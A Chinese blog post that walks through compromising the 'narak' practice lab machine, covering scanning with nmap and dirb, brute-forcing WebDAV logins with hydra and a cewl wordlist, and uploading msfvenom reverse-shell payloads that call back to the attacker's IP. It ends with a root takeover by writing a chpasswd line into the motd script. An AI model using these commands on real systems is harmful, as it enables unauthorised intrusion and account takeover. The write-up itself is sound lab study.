当前位置:网站首页>打靶narak
打靶narak
2022-04-23 02:28:00 【嗯光】
主机发现
nmap -sS 192.168.226.0/24
端口扫描
dirb基于字典的目录扫描工具
发现三个目录
访问该目录
网络存储文件共享之WebDAV
再用hydra爆破以下
或者burpsuite爆破
yamdoot, Swarg
.海德拉(Hydra)
Medusa(美杜莎)
patator
msf
都可以
用cewl工具通过爬取网站信息的关键字来生成字典,通过生成的字典进行爆破
用hydra爆破工具爆破
-L指定用户名 -P指定密码 ip地址加协议加路径。http就是网站的协议,get是采用的请求方法,后面加路径
再尝试登陆下:
无可用信息,查看下源代码:
cadaver工具连接
cadaver http://192.168.8.132/webdav
username:yamdoot
password:Swarg
1.百度发现webdav服务,需要cadaver工具连接,连接之后可以上传
上传shell
nmap -O 发现其实 linux 系统
msfvenom生成木马
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22456 -f elf -o /home/kali/Desktop/yui.elf
监听
上传
liunx失败换一个php的
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22345 -f raw -o /home/kali/Desktop/phpshell.php
msf 监听
访问php文件
shell拿到
提权 权限维持
权限低
查看用户:
mnt 目录 hell.sh
https://www.splitbrain.org/services/ook
brainfuck to text解码,得到解密内容chitragupt 应该是密码
chitragupt
提权助手 提权 github 开源项目
https://github.com/mzet-/linux-exploit-suggester
linux中的.sh文件怎么执行?
1、直接./加上文件名.sh,如运行hello.sh为 ./hello.sh 【绝对路径下也可以,但hello.sh必须有x权限】
chmod u+x hello.sh
挨个试一试
上传解压
用ssh尝试登录其他用户,输入刚刚解密的密码,发现成功登录该用户
echo “echo ‘root:inferno’|sudo chpasswd” >> /etc/update-motd.d/00-header
退出后重新用inferno登录
su -root
成功获取root权限: 密码 inferno
版权声明
本文为[嗯光]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_42096378/article/details/124353688
边栏推荐
- 006_redis_SortedSet类型
- Summary of I / O knowledge points
- arduino esp8266 网络升级 OTA
- Kubernetes cluster installation based on Kirin SP10 server version
- 012_ Access denied for user ‘root‘@‘localhost‘ (using password: YES)
- Flink real-time data warehouse project - Design and implementation of DWS layer
- IAR嵌入式開發STM32f103c8t6之點亮LED燈
- 从开源爱好者到 Apache 董事,一共分几步?
- A simple and open source navigation website source code
- [NK] Niuke monthly race 48 D
猜你喜欢
arduino esp8266 网络升级 OTA
一、序列模型-sequence model
005_ redis_ Set set
Open3d point cloud processing
PTA: 点赞狂魔
Leetcode39 combined sum
Talk about biology live broadcast: Dr. Wang Ziyuan, a lake view biology, exploring hepatitis B with gene therapy
How to recognize products from the perspective of Dialectics
MySQL JDBC programming
每日一题冲刺大厂第十六天 NOIP普及组 三国游戏
随机推荐
Daily question (April 22, 2022) - rotation function
2018 China Collegiate Programming Contest - Guilin Site J. stone game
011_RedisTemplate操作Hash
认识进程(多线程_初阶)
They are all intelligent in the whole house. What's the difference between aqara and homekit?
006_redis_jedis快速入门
011_ Redistemplate operation hash
【ValueError: math domain error】
Global, exclusive, local Routing Guard
Open3d point cloud processing
Kubernetes cluster installation based on Kirin SP10 server version
[untitled]
007_Redis_Jedis连接池
一、序列模型-sequence model
Arduino esp8266 network upgrade OTA
[nk]牛客月赛48 D
A simple and open source navigation website source code
009_Redis_RedisTemplate入门
PTA: 点赞狂魔
Startup of openstack service